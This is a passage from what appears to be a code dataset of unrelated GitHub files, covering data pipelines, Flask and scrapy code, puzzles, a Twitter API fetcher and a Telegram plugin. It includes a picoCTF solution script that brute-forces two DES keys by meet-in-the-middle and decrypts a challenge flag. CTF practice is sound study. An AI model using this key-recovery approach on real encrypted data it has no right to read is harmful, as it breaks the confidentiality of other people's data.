t3\n\n @task_group(group_id=\"tg_transform\")\n def tg_transform(tg_extract_data):\n t4 = transform_staging_data(tg_extract_data)\n\n return t4\n\n @task_group(group_id=\"tg_load\")\n def tg_load(tg_transform_data):\n merge_into_target(tg_transform_data)\n\n pass\n\n run_extracted_table = tg_extract(tgg_store)\n run_transformed_table = tg_transform(run_extracted_table)\n run_tg_load = tg_load(run_transformed_table)\n\n run_extracted_table >> run_transformed_table >> run_tg_load\n\n stores = read_stores()\n tg_etl_openmeteo_store_group = tg_etl_openmeteo_store.expand(tgg_store=stores)\n\n start() >> stores >> tg_etl_openmeteo_store_group >> end()\n\n\ndag_etl_openmeteo()\n","repo_name":"gravagnani/airflow_etl_meteo_data","sub_path":"dags/dag_etl_openmeteo.py","file_name":"dag_etl_openmeteo.py","file_ext":"py","file_size_in_byte":2341,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"14111116271","text":"\"\"\" In the cast/explicti type conversion , programmer convert one data type into another data type\n\nint(n)\n\nfloat(n)\n\ncomplex(n)\n\ncomplex(x, y) where x is real part and y is imaginary part\n\nstr(n)\n\nlist(n)\n\ntuple(n)\n\nbin(n)\n\noct(n)\n\nhex(n)\n\n\n\"\"\"\n\n\"\"\"\nPerform division between two variables `a` and `b`, and convert the result to an integer.\n\nExample Usage:\n a = 5\n b = 2\n value = a/b\n print(value)\n int_value = int(value)\n print(int_value)\n\nExpected output:\n 2.5\n 2\n\"\"\"\n\na = 5\nb = 2\nvalue = a/b\nprint(value)\nint_value = int(value)\nprint(int_value)\n\n\n\"\"\"\nThis code snippet performs an addition operation between the variable `q` and the integer value of the variable `u`. It then prints the result.\n\nExample Usage:\n q = 20\n u = '10'\n print(type(u))\n r = q + int(u)\n print(r)\n\nExpected output:\n <class 'str'>\n 30\n\"\"\"\n\nq = 20\nu = '10'\nprint(type(u))\nr = q + int(u)\nprint(r)","repo_name":"vkumaryy/Python_data","sub_path":"python_gky/basic_python/explicit_type_conversion.py","file_name":"explicit_type_conversion.py","file_ext":"py","file_size_in_byte":915,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"74459104361","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# @Time : 2017/1/12 下午9:10\n# @Author : Rain\n# @Desc : 用户项目阶段接口\n# @File : project_phase_resource.py.py\n\nfrom app.models import Const, ProjectPhase, ProjectPhaseSchema, PaginationSchema\nfrom app.utils.utils import safe_session, merge\nfrom flask_restful import Resource, reqparse\nfrom app import admin_manager, db\nfrom flask import current_app\nfrom marshmallow import fields\n\n\nparser = reqparse.RequestParser()\nparser.add_argument('project_id', type=int, location='json', store_missing=False)\nparser.add_argument('phase_id', type=int, location='json', store_missing=False)\nparser.add_argument('days', type=int, location='json', store_missing=False)\nparser.add_argument('status', type=int, location='json', store_missing=False)\n\nsearch_parser = reqparse.RequestParser()\nsearch_parser.add_argument('page', type=int, default=1, location='args', store_missing=True)\n\n\nclass ProjectPhaseResource(Resource):\n method_decorators = [admin_manager.login_required()]\n\n def get(self, ppid):\n pp = ProjectPhase.query.get_or_404(ppid)\n\n schema = ProjectPhaseSchema()\n result = schema.dump(pp).data\n\n return {Const.RESULT_KEY: result}, Const.STATUS_OK\n\n def post(self, ppid):\n pp = ProjectPhase.query.get_or_404(ppid)\n args = parser.parse_args()\n merge(pp, args, ignore=('project_id', 'phase_id'))\n\n with safe_session(db):\n db.session.add(pp)\n\n return {Const.MESSAGE_KEY: '修改成功'}, Const.STATUS_OK\n\n\nclass ProjectPhaseListResource(Resource):\n method_decorators = [admin_manager.login_required()]\n\n def get(self):\n args = search_parser.parse_args()\n page = args.get('page')\n per_page = current_app.config['ITEM_COUNT_PER_PAGE']\n\n pagination = ProjectPhase.query.paginate(page, per_page=per_page, error_out=False)\n\n schema = PaginationSchema()\n schema.declared_fields['items'] = fields.Nested(ProjectPhaseSchema, many=True)\n\n data = schema.dump(pagination).data\n\n return {Const.RESULT_KEY: data}, Const.STATUS_OK\n\n def post(self):\n pp = ProjectPhase()\n args = parser.parse_args()\n merge(pp, args)\n\n with safe_session(db):\n db.session.add(pp)\n\n return {Const.MESSAGE_KEY: '创建成功'}, Const.STATUS_OK\n","repo_name":"cash2one/APL","sub_path":"apl/app/admin/api/v1/project_phase_resource.py","file_name":"project_phase_resource.py","file_ext":"py","file_size_in_byte":2361,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"5892324300","text":"n =8\n\ndef isPossible(board,x,y):\n if x >= 0 and y >= 0 and x < n and y < n and board[x][y] == -1:\n return True\n else:\n return False\n\ndef solveKTUtil(board,x,y,movex,movey,pos):\n if pos > 62:\n for i in range(n):\n for j in range(n):\n print(board[i][j],end=\" | \")\n print()\n print(\"-\"* 5*n)\n if pos == n**2:\n return True\n \n for i in range(8): \n new_x = x + movex[i] \n new_y = y + movey[i]\n # import pdb; pdb.set_trace()\n if(isPossible(board, new_x, new_y)): \n board[new_x][new_y] = pos \n if(solveKTUtil(board,new_x,new_y,movex,movey,pos+1)): \n return True\n \n # Backtracking \n board[new_x][new_y] = -1\n return False\n \n\n\ndef solveKT():\n board =[[-1 for i in range(n)] for i in range(n)]\n\n movex = [2, 2,-2,-2, 1, 1,-1,-1]\n movey = [1,-1, 1,-1,-2, 2, -2,2]\n\n pos = 1\n\n board[0][0] = 0\n\n solveKTUtil(board, 0, 0, movex, movey, pos)\n\n for i in range(n):\n for j in range(n):\n print(board[i][j],end=\" | \")\n print()\n print(\"-\"* 5*n)\n\nif __name__ == \"__main__\":\n solveKT()","repo_name":"NirupamDebnath/Data-Structure-Algorithms","sub_path":"Algorithms/Backtracking/knight_tour_problem.py","file_name":"knight_tour_problem.py","file_ext":"py","file_size_in_byte":1215,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"21118765324","text":"\"\"\"\nA Collatz sequence in mathematics can be defined as follows. Starting with any positive integer:\n if n is even, the next number in the sequence is n / 2\n if n is odd, the next number in the sequence is 3n + 1\n\nIt is conjectured that every such sequence eventually reaches the number 1. Test this conjecture.\nBonus: What input n <= 1000000 gives the longest sequence?\n\"\"\"\nfrom functools import lru_cache\nfrom typing import Tuple\n\n\n@lru_cache(maxsize=1_000_000)\ndef collatz_sequence(n: int) -> Tuple[bool, int]:\n if n == 1:\n return True, 1\n elif n < 1:\n return False, 1\n\n if n & 1:\n converged, count = collatz_sequence(3 * n + 1)\n else:\n converged, count = collatz_sequence(n // 2)\n\n return converged, count + 1\n\n\ndef get_longest_sequence(max_val: int) -> int:\n num_with_longest_seq = 1\n max_count = 1\n\n for n in range(2, max_val + 1):\n converged, count = collatz_sequence(n)\n\n if converged and count > max_count:\n num_with_longest_seq = n\n max_count = count\n\n return num_with_longest_seq\n\n\nif __name__ == \"__main__\":\n for val in range(1, 100):\n assert collatz_sequence(val)[0] is True\n\n assert get_longest_sequence(1_000_000) == 837799\n","repo_name":"rrwt/daily-coding-challenge","sub_path":"daily_problems/problem_201_to_300/210.py","file_name":"210.py","file_ext":"py","file_size_in_byte":1249,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"36170993979","text":"from random import randint\n\narr = []\nfor i in range(1000000):\n arr.append(randint(1, 1000000000))\nf = open(\"bigdata_input.txt\", 'w')\nfor i in range(len(arr)):\n if i == len(arr)-1:\n f.write(str(arr[i]))\n else:\n f.write(str(arr[i]) + \" \")\n\nf.close()\n","repo_name":"nikitashuliak/parcs-parallel","sub_path":"get_big_dataset.py","file_name":"get_big_dataset.py","file_ext":"py","file_size_in_byte":271,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"31042495362","text":"import requests\nimport os\nfrom dotenv import load_dotenv\nload_dotenv()\n\nbearer_token = os.getenv('BEARER')\n\ndef user_url(user):\n usernames = \"usernames={}\".format(user)\n user_fields = \"user.fields=description,created_at\"\n url = \"https://api.twitter.com/2/users/by?{}\".format(usernames, user_fields)\n return url\n\ndef followers_url(id):\n user_id = id\n return \"https://api.twitter.com/2/users/{}/followers\".format(user_id)\n\n\ndef user_oauth(r):\n r.headers[\"Authorization\"] = f\"Bearer {bearer_token}\"\n r.headers[\"User-Agent\"] = \"v2UserLookupPython\"\n return r\n\ndef followers_oauth(r):\n r.headers[\"Authorization\"] = f\"Bearer {bearer_token}\"\n r.headers[\"User-Agent\"] = \"v2FollowersLookupPython\"\n return r\n\ndef followers_params():\n return {\"user.fields\": \"public_metrics,profile_image_url\",}\n\ndef connect_user_endpoint(url):\n response = requests.request(\"GET\", url, auth=user_oauth,)\n print(response.status_code)\n if response.status_code != 200:\n raise Exception(\n \"Request returned an error: {} {}\".format(\n response.status_code, response.text\n )\n )\n return response.json()\n\n\ndef connect_follow_endpoint(url, params):\n response = requests.request(\"GET\", url, auth=user_oauth, params=params)\n print(response.status_code)\n if response.status_code != 200:\n raise Exception(\n \"Request returned an error: {} {}\".format(\n response.status_code, response.text\n )\n )\n return response.json()\n\n\ndef all_followers(username):\n users_url = user_url(username)\n user = connect_user_endpoint(users_url)\n id = user['data'][0]['id']\n follow_url = followers_url(id)\n params = followers_params()\n followers = connect_follow_endpoint(follow_url, params)\n all_followers = followers['data']\n token = followers['meta']['next_token']\n while(token):\n new_params = followers_params()\n new_params['pagination_token'] = token\n new_followers = connect_follow_endpoint(follow_url, new_params)\n all_followers += new_followers['data']\n if('next_token' not in new_followers['meta']):\n token = None\n else:\n token = new_followers['meta']['next_token']\n return all_followers\n\ndef sort_followers(followers):\n followers.sort(key=lambda x: x['public_metrics']['followers_count'], reverse=True)\n\ndef get_top_100(username):\n followers = all_followers(username)\n sort_followers(followers)\n return followers[:100]\n ","repo_name":"ajmalmohad/twitter-api","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2536,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"1488092300","text":"from Crypto.Cipher import DES\nimport binascii\ninputs = binascii.unhexlify('1234'.rstrip()).decode()\ncipher = binascii.unhexlify('52241f58f8a213dd').rstrip()\nenc_flag = binascii.unhexlify('af1e126eb6b7b77a34e45ab18525eec7149f1740e1119cbdad9f181caa4da5e904bf052c9df3bea9')\n\nkey_table = {}\ndef pad(msg):\n block_len = 8\n over = len(msg) % block_len\n pad = block_len - over\n return (msg + \" \" * pad).encode()\n\nfor a in range(10):\n for b in range(10):\n for c in range(10):\n for d in range(10):\n for e in range(10):\n for f in range(10):\n key1 = pad(str(a)+str(b)+str(c)+str(d)+str(e)+str(f))\n ciph1 = DES.new(key1, DES.MODE_ECB)\n enc_msg = ciph1.encrypt(pad(inputs))\n key_table[enc_msg] = key1 \nfor a in range(10):\n for b in range(10):\n for c in range(10):\n for d in range(10):\n for e in range(10):\n for f in range(10):\n key2 = pad(str(a)+str(b)+str(c)+str(d)+str(e)+str(f))\n ciph2 = DES.new(key2, DES.MODE_ECB)\n if ciph2.decrypt(cipher) in key_table:\n k1 = key_table[ciph2.decrypt(cipher)]\n k2 = key2\n c1 = DES.new(k2, DES.MODE_ECB)\n eg = c1.decrypt(enc_flag)\n c2 = DES.new(k1, DES.MODE_ECB)\n print(c2.decrypt(eg))\n\n","repo_name":"Vincent550102/CTF_storage","sub_path":"solo/picoCTF/old/Cryptography/Double_DES/sol.py","file_name":"sol.py","file_ext":"py","file_size_in_byte":1555,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"28340758966","text":"#!/usr/bin/env python\n# -*- coding: UTF-8 -*-\n\nimport scrapy\nfrom scrapy.linkextractors import LinkExtractor\n\nclass Jianshu(scrapy.Spider):\n name = \"jianshu_spider\"\n allowed_domains = [\"jianshu.com\"]\n\n def __init__(self, *args, **kwargs):\n super(Jianshu, self).__init__(*args, **kwargs)\n self.start_urls = ['https://www.jianshu.com/']\n\n def parse(self, response):\n link = LinkExtractor(restrict_xpaths='//ul[@class=\"note-list\"]/li')\n links = link.extract_links(response)\n if links:\n for link_one in links:\n print (link_one)","repo_name":"csy9730/pyScrawler","sub_path":"code/scrapy/scrapy_sample/scrapy_sample/spiders/jianshu_spider.py","file_name":"jianshu_spider.py","file_ext":"py","file_size_in_byte":596,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"18"} +{"seq_id":"22370368625","text":"import ast\nimport logging\nfrom typing import List, Tuple\n\nfrom flake8_simplify.utils import Call, to_source\n\nlogger = logging.getLogger(__name__)\n\n\ndef get_scr902(node: Call) -> List[Tuple[int, int, str]]:\n \"\"\"Find bare boolean function arguments.\"\"\"\n RULE = \"SCR902 Use keyword-argument instead of magic boolean for '{func}'\"\n errors: List[Tuple[int, int, str]] = []\n\n if isinstance(node.func, ast.Attribute):\n call_name = node.func.attr\n elif isinstance(node.func, ast.Name):\n call_name = node.func.id\n else:\n logger.debug(f\"Unknown call type: {type(node.func)}\")\n return errors\n\n nb_args = len(node.args)\n\n if call_name in [\n \"partial\",\n \"min\",\n \"max\",\n # Common positional-only arguments:\n \"getattr\",\n \"setattr\",\n \"pop\", # if its a dictionary\n ] or call_name.startswith(\"_\"):\n return errors\n\n has_bare_bool = any(\n isinstance(call_arg, (ast.Constant, ast.NameConstant))\n and (call_arg.value is True or call_arg.value is False)\n for call_arg in node.args\n )\n\n is_setter = call_name.lower().startswith(\"set\") and nb_args <= 2\n is_exception = isinstance(node.func, ast.Attribute) and node.func.attr in [\n \"get\"\n ]\n if has_bare_bool and not (is_exception or is_setter):\n source = to_source(node)\n errors.append((node.lineno, node.col_offset, RULE.format(func=source)))\n return errors\n\n\ndef get_scr903(node: Call) -> List[Tuple[int, int, str]]:\n \"\"\"Find bare numeric function arguments.\"\"\"\n RULE = \"SCR903 Use keyword-argument instead of magic number for '{func}'\"\n acceptable_magic_numbers = (0, 1, 2)\n errors: List[Tuple[int, int, str]] = []\n\n if isinstance(node.func, ast.Attribute):\n call_name = node.func.attr\n elif isinstance(node.func, ast.Name):\n call_name = node.func.id\n else:\n logger.debug(f\"Unknown call type: {type(node.func)}\")\n return errors\n\n nb_args = len(node.args)\n if nb_args <= 1 or call_name.startswith(\"_\"):\n return errors\n\n functions_any_arg = [\"partial\", \"min\", \"max\", \"minimum\", \"maximum\"]\n functions_1_arg = [\"sqrt\", \"sleep\", \"hideColumn\"]\n functions_2_args = [\n \"arange\",\n \"uniform\",\n \"zeros\",\n \"percentile\",\n \"setColumnWidth\",\n \"float_power\",\n \"power\",\n \"pow\",\n \"float_power\",\n \"binomial\",\n ]\n if any(\n (\n call_name in functions_any_arg,\n call_name in functions_1_arg and nb_args == 1,\n call_name in functions_2_args and nb_args == 2,\n call_name in [\"linspace\"] and nb_args == 3,\n \"color\" in call_name.lower() and nb_args in [3, 4],\n \"point\" in call_name.lower() and nb_args in [2, 3],\n )\n ):\n return errors\n\n has_bare_int = any(\n isinstance(call_arg, ast.Num)\n and call_arg.n not in acceptable_magic_numbers\n for call_arg in node.args\n )\n\n is_setter = call_name.lower().startswith(\"set\") and nb_args <= 2\n is_exception = isinstance(node.func, ast.Name) and node.func.id == \"range\"\n is_exception = is_exception or (\n isinstance(node.func, ast.Attribute)\n and node.func.attr\n in [\n \"get\",\n \"insert\",\n ]\n )\n if has_bare_int and not (is_exception or is_setter):\n source = to_source(node)\n errors.append((node.lineno, node.col_offset, RULE.format(func=source)))\n return errors\n","repo_name":"MartinThoma/flake8-scream","sub_path":"flake8_scream/rules/ast_call.py","file_name":"ast_call.py","file_ext":"py","file_size_in_byte":3522,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"18"} +{"seq_id":"1704989691","text":"import turtle\r\nfrom turtle import *\r\n\r\nspeed(200)\r\n\r\nlength = float(input(\"Please enter length of koch pattern, in 0.1mm: \"))\r\ndepth = float(input(\"Please enter depth i.e. level of koch pattern: \"))\r\n\r\nstitches = []\r\n\r\n\r\ndef f(length,depth,stitches):\r\n\r\n \r\n\r\n if depth == 0:\r\n\r\n x1=round(turtle.xcor());\r\n y1=round(turtle.ycor());\r\n \r\n turtle.forward(length)\r\n\r\n x2=round(turtle.xcor());\r\n y2=round(turtle.ycor());\r\n\r\n if x2-x1<0:\r\n dx=255 + round((x2-x1))\r\n dx2=abs(round((x2-x1)))\r\n else:\r\n dx=round((x2-x1))\r\n dx2=255-round((x2-x1))\r\n\r\n if y2-y1<0:\r\n dy=255 + round((y2-y1))\r\n dy2=abs(round((y2-y1)))\r\n else:\r\n dy=round((y2-y1))\r\n dy2=255-round((y2-y1))\r\n\r\n \r\n stitches.append(dx)\r\n stitches.append(dy)\r\n stitches.append(dx2)\r\n stitches.append(dy2)\r\n stitches.append(dx)\r\n stitches.append(dy)\r\n stitches.append(dx2)\r\n stitches.append(dy2)\r\n stitches.append(dx)\r\n stitches.append(dy)\r\n \r\n\r\n else:\r\n f(length/3,depth-1,stitches)\r\n turtle.right(60)\r\n f(length/3,depth-1,stitches)\r\n turtle.left(120)\r\n f(length/3,depth-1,stitches)\r\n turtle.right(60)\r\n f(length/3,depth-1,stitches)\r\n\r\n print(stitches)\r\n\r\n\r\ndef getStitches():\r\n stitches = [128, 2] # 128 = escape_character -> 2 = Move followed by 8 bit displacement X,Y\r\n\r\n stitches += [0,0,0,0,0,0,]\r\n #for i in range(9):\r\n #stitches += [0,0,0,0,0,0,]\r\n #stitches += [128, 0, 225, 50]\r\n\r\n \r\n for i in range(6):\r\n f(length,depth,stitches) \r\n right(60)\r\n\r\n #for i in range(2):\r\n # stitches += [128, 0, 120, 30]\r\n\r\n #stitches += [128, 1] # 128 = escape_character -> 1 = Change to next thread in list\r\n\r\n\r\n #for i in range(6):\r\n #f(length,depth,stitches) \r\n #right(60)\r\n \r\n #for i in range(2):\r\n #stitches += [128, 0, 120, 30]\r\n\r\n #stitches += [128, 1] # 128 = escape_character -> 1 = Change to next thread in list\r\n\r\n\r\n\r\n #for i in range(6):\r\n #f(length,depth,stitches) \r\n #right(60)\r\n\r\n\r\n stitches += [128, 16] # 128 = escape_character -> 16 = last_stitch \r\n return stitches\r\n\r\ndef getJeffList(stitches):\r\n jefBytes = [ 128, 0, 0, 0, # The byte offset of the first stitch\r\n 10, 0, 0, 0, # unknown command\r\n ord(\"2\"), ord(\"0\"), ord(\"2\"), ord(\"1\"), #YYYY\r\n ord(\"0\"), ord(\"2\"), ord(\"2\"), ord(\"4\"), #MMDD\r\n ord(\"1\"), ord(\"5\"), ord(\"2\"), ord(\"1\"), #HHMM\r\n ord(\"0\"), ord(\"0\"), 99, 0, #SS00\r\n 3, 0, 0, 0, # Thread count nr. (nr of thread changes)\r\n (len(stitches)//2) & 0xff, (len(stitches)//2) >> 8 & 0xff, 0, 0, # Number of stitches\r\n 3, 0, 0, 0, # Sewing machine Hoop\r\n # Extent 1\r\n 50, 0, 0, 0, # Left boundary dist from center (in 0.1mm)\r\n 50, 0, 0, 0, # Top boundary dist from center (in 0.1mm)\r\n 50, 0, 0, 0, # Right boundary dist from center (in 0.1mm)\r\n 50, 0, 0, 0, # Bottom boundary dist from center (in 0.1mm)\r\n # Extent 2\r\n 50, 0, 0, 0, # Left boundary dist from center (in 0.1mm)\r\n 50, 0, 0, 0, # Top boundary dist from center (in 0.1mm)\r\n 50, 0, 0, 0, # Right boundary dist from center (in 0.1mm)\r\n 50, 0, 0, 0, # Bottom boundary dist from center (in 0.1mm)\r\n # Extent 3\r\n 50, 0, 0, 0, # Left boundary dist from center (in 0.1mm)\r\n 50, 0, 0, 0, # Top boundary dist from center (in 0.1mm)\r\n 50, 0, 0, 0, # Right boundary dist from center (in 0.1mm)\r\n 50, 0, 0, 0, # Bottom boundary dist from center (in 0.1mm)\r\n # Extent 4\r\n 50, 0, 0, 0, # Left boundary dist from center (in 0.1mm)\r\n 50, 0, 0, 0, # Top boundary dist from center (in 0.1mm)\r\n 50, 0, 0, 0, # Right boundary dist from center (in 0.1mm)\r\n 50, 0, 0, 0, # Bottom boundary dist from center (in 0.1mm)\r\n # Extent 5\r\n 50, 0, 0, 0, # Left boundary dist from center (in 0.1mm)\r\n 50, 0, 0, 0, # Top boundary dist from center (in 0.1mm)\r\n 50, 0, 0, 0, # Right boundary dist from center (in 0.1mm)\r\n 50, 0, 0, 0, # Bottom boundary dist from center (in 0.1mm)\r\n 9, 0, 0, 0, # Thread Color (white)\r\n 7, 0, 0, 0, # Thread Color (white)\r\n 6, 0, 0, 0, # Thread Color (white)\r\n 13, 0, 0, 0, # Thread type (unknown)\r\n ] + stitches\r\n return jefBytes\r\ndef main():\r\n data = bytes(getJeffList(getStitches()))\r\n with open(\"snowflake.jef\", \"wb\") as f:\r\n f.write(data)\r\n\r\nif __name__ == '__main__':\r\n main()\r\n","repo_name":"Priya4120/Fractal-Pattern-Embroidery","sub_path":"emb.py","file_name":"emb.py","file_ext":"py","file_size_in_byte":5223,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"73193150121","text":"import contextlib\n\nfrom pagermaid import log\nfrom pagermaid.enums import Client, Message\nfrom pagermaid.listener import listener\nfrom pagermaid.scheduler import add_delete_message_job\nfrom pagermaid.utils import alias_command\n\n\n@listener(\n command=\"da\",\n groups_only=True,\n need_admin=True,\n description=\"删除群内所有消息。（非群组管理员只删除自己的消息）\",\n parameters=\"[true]\",\n)\nasync def da(bot: Client, message: Message):\n if message.arguments != \"true\":\n return await message.edit(\n f\"[da] 呜呜呜，请执行 `,{alias_command('da')} true` 来删除所有消息。\"\n )\n await message.edit(\"[da] 正在删除所有消息 . . .\")\n messages = []\n count = 0\n async for message in bot.get_chat_history(message.chat.id):\n messages.append(message.id)\n count += 1\n if count % 100 == 0:\n with contextlib.suppress(Exception):\n await bot.delete_messages(message.chat.id, messages)\n messages = []\n\n if messages:\n with contextlib.suppress(Exception):\n await bot.delete_messages(message.chat.id, messages)\n await log(f\"批量删除了 {str(count)} 条消息。\")\n with contextlib.suppress(Exception):\n reply = await bot.send_message(message.chat.id, f\"批量删除了 {str(count)} 条消息。\")\n add_delete_message_job(reply, delete_seconds=5)\n","repo_name":"TeamPGM/PagerMaid_Plugins_Pyro","sub_path":"da/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1418,"program_lang":"python","lang":"en","doc_type":"code","stars":192,"dataset":"github-code","pt":"18"} +{"seq_id":"21966629116","text":"# -*- coding: utf-8 -*-\nimport scrapy\n\n\nclass BaiduSpider(scrapy.Spider):\n name = 'baidu'\n allowed_domains = ['www.baidu.com']\n start_urls = ['http://www.baidu.com/']\n\n custom_settings = {\n 'DEFAULT_REQUEST_HEADERS': {\n 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) ' +\n 'AppleWebKit/537.36 (KHTML, like Gecko) ' +\n 'Chrome/75.0.3770.142 Safari/537.36'\n }\n }\n\n def __init__(self, category=None, *args, **kwargs):\n super(BaiduSpider, self).__init__(*args, **kwargs)\n self.category = category\n self.logger.info(self.category)\n\n def parse(self, response):\n self.logger.info(self.category)\n","repo_name":"SuperBlc/Python-based-Crawler-Learning","sub_path":"Chapter09-scrapy-glance/quotetutorial/quotetutorial/spiders/baidu.py","file_name":"baidu.py","file_ext":"py","file_size_in_byte":721,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"11408562129","text":"\"\"\"Multi level\"\"\"\nclass Student(object):\n\tstudentCount=0\n\tdef getStudent(self,rollno,name,course):\n\t\tself.rollno=rollno\n\t\tself.name=name\n\t\tself.course=course\n\t\tStudent.studentCount+=1\n\tdef displayStudent(self):\n\t\tprint(\"Roll No:\",self.rollno)\n\t\tprint(\"Name :\",self.name)\n\t\tprint(\"Course :\",self.course)\t\n\nclass Test(Student):\n\tdef getMarks(self,marks):\n\t\tself.marks=marks\n\tdef displayMarks(self):\n\t\tprint(\"Marks :\",self.marks)\n\nclass Result(Test):\n\tdef calculateGrade(self):\n\t\tif self.marks>480:self.grade=\"Distinction\"\n\t\telif self.marks>360:self.grade=\"First Class\"\n\t\telif self.marks>240:self.grade=\"Second Class\"\n\t\telse:self.grade=\"Failed\"\n\t\tprint(\"Result:\",self.grade)\n\nr=int(input(\"Enter rollno?\"))\nn=input(\"Enter name?\")\nc=input(\"Enter Course?\")\nm=int(input(\"Enter Marks?\"))\n\nstud=Result()\nstud.getStudent(r,n,c)\nstud.getMarks(m)\nstud.displayStudent()\nstud.displayMarks()\nstud.calculateGrade()\t\n","repo_name":"glen-s-abraham/sem3record","sub_path":"13.py","file_name":"13.py","file_ext":"py","file_size_in_byte":903,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"14445286990","text":"### コーパスの作成\n### 長さ2以上の名詞と未知語を特徴とする\n### ストップワードは取り除く\n\nimport os\nimport re\n\n### ストップワードのリスト\nstopword = set()\n\n### 日本語ストップワード\nwith open('../stopword/Japanese.txt', 'r', encoding='utf-8') as f:\n\tfor line in f:\n\t\tword = line.rstrip('\\n')\n\t\tstopword.add(word)\n\n\n### 英語ストップワード\nwith open('../stopword/English.txt', 'r', encoding='utf-8') as f:\n\tfor line in f:\n\t\tword = line.rstrip('\\n')\n\t\tstopword.add(word)\n\n### 正規表現\npattern = re.compile(r'[ぁ-んァ-ンー\\u4e00-\\u9FFF]+')\n\ninput_folder = \"../tmp/process3/\"\ncorpus_path = \"../corpus/corpus.data\"\n\n### コーパスの作成\nf_w = open(corpus_path, 'w', encoding='utf-8')\ndocuments = os.listdir(input_folder)\nfor doc in documents:\n\n\tif doc.startswith(\".\"):\n\t\tcontinue\n\n\tinput_path = input_folder + doc\n\n\tf_r = open(input_path, 'r', encoding='utf-8')\n\n\treception_part = [\"名詞\", \"未知語\"]\n\n\tfor line in f_r:\n\n\t\tline = line.rstrip('\\n')\n\t\ttoken = line.split('_')\n\t\tif len(token) != 2:\n\t\t\tcontinue\n\n\t\tword = token[0]\n\t\tpart = token[1]\n\n\t\tif part not in reception_part:\n\t\t\tcontinue\n\t\tif len(word) == 1:\n\t\t\tcontinue\n\t\tif word in stopword:\n\t\t\tcontinue\n\n\t\tfor w in pattern.findall(word):\n\t\t\tf_w.write(w + \" \") \n\n\tf_r.close()\n\t\n\tf_w.write(\"\\n\")\n\nf_w.close()","repo_name":"breakbee/PDFAnalysis","sub_path":"scripts/make_corpus.py","file_name":"make_corpus.py","file_ext":"py","file_size_in_byte":1338,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"18"} +{"seq_id":"5490371140","text":"# MAT337 Assignment - Soroush Khoubyarian\n\nfrom math import pi, cos\nimport numpy as np\nfrom utils.PlotGrapher import PlotGrapher\nfrom utils.Label import Label\nfrom utils.Slider import Slider, Orientation\nfrom utils.TrendlineInteractive import TrendlineInteractive\nfrom utils.Color import Color\n\nxvals = np.linspace(-pi, pi, 500)\nfunc = lambda t, r : (1-r**2) / (1 - 2*r*cos(t) + r**2)\nsliderR = (\n Slider(0, 0.90, 0.5)\n .withOrientation(Orientation.HORIZONTAL)\n .withLabel(Label(\"$r$\", 20))\n .withColor(Color(1, 0, 1))\n .withThickness(0.05)\n .withLength(0.7)\n)\ntrendlineInteractive = (\n TrendlineInteractive(xvals, func, [sliderR], [])\n .withColor(Color(1, 0, 0))\n .withLineWidth(2)\n)\n\ng = PlotGrapher()\n\ng.setGrid(True)\n\ng.setFigsize((12, 7))\n\ng.setTitle(Label(\"Poisson's Kernal $P(r, \\\\theta)$\", 40))\ng.setXLabel(Label(\"$\\\\theta$\", 30))\ng.setYLabel(Label(\"$P(r, \\\\theta)$\", 30))\n\ng.setXTickFontSize(20)\ng.setYTickFontSize(20)\n\ng.setTrendlineInteractive(trendlineInteractive)\n\ng.setXLim((-pi, pi))\ng.setYLim((0, 10))\n\ng.setSliderHorizontalPadding(0.2)\ng.setSliderHorizontalBottom(0.05)\ng.setSliderHorizontalLeft(0.1)\ng.setSliderVerticalBottom(0)\ng.setSliderVerticalPadding(0)\ng.setSliderVerticalLeft(0.1)\n\ng.show()\n","repo_name":"soroush1379/MAT337-Presentation","sub_path":"poisson_kernel_interactive.py","file_name":"poisson_kernel_interactive.py","file_ext":"py","file_size_in_byte":1247,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"3466415050","text":"from mock import patch\n\nfrom . import BaseTestCase\n\n\nclass TestHeathcheckFunction(BaseTestCase):\n\n @patch(\"thinkhazard.tweens.Publication.last\",\n side_effect=Exception(\"Healthcheck should not raise exception while publishing\"))\n def test_healthcheck(self, last_mock):\n self.testapp.get(\"/healthcheck\", status=200)\n","repo_name":"GFDRR/thinkhazard","sub_path":"tests/views/test_healthcheck.py","file_name":"test_healthcheck.py","file_ext":"py","file_size_in_byte":337,"program_lang":"python","lang":"en","doc_type":"code","stars":30,"dataset":"github-code","pt":"18"} +{"seq_id":"23901839332","text":"\n'Use <m> or <message> to retrieve the data transmitted by the scanner.'\n'Use <t> or <terminal> to retrieve the running terminal browse record.'\n'Put the returned action code in <act>, as a single character.'\n'Put the returned result or message in <res>, as a list of strings.'\n'Put the returned value in <val>, as an integer'\n\n#保存步骤名称\nif not terminal.get_tmp_value('picking_type_name', False):\n terminal.update_tmp_values({'picking_type_name': message})\n\nact = 'L'\n\n# 装车扫描配置,一步扫描完成装车加固或者装车和加固分开扫描,默认值是一步完成\nscanner_step = terminal.get_tmp_value('scanner_step', 'once')\nscanner_step_cn = terminal.get_tmp_value('scanner_step_cn', 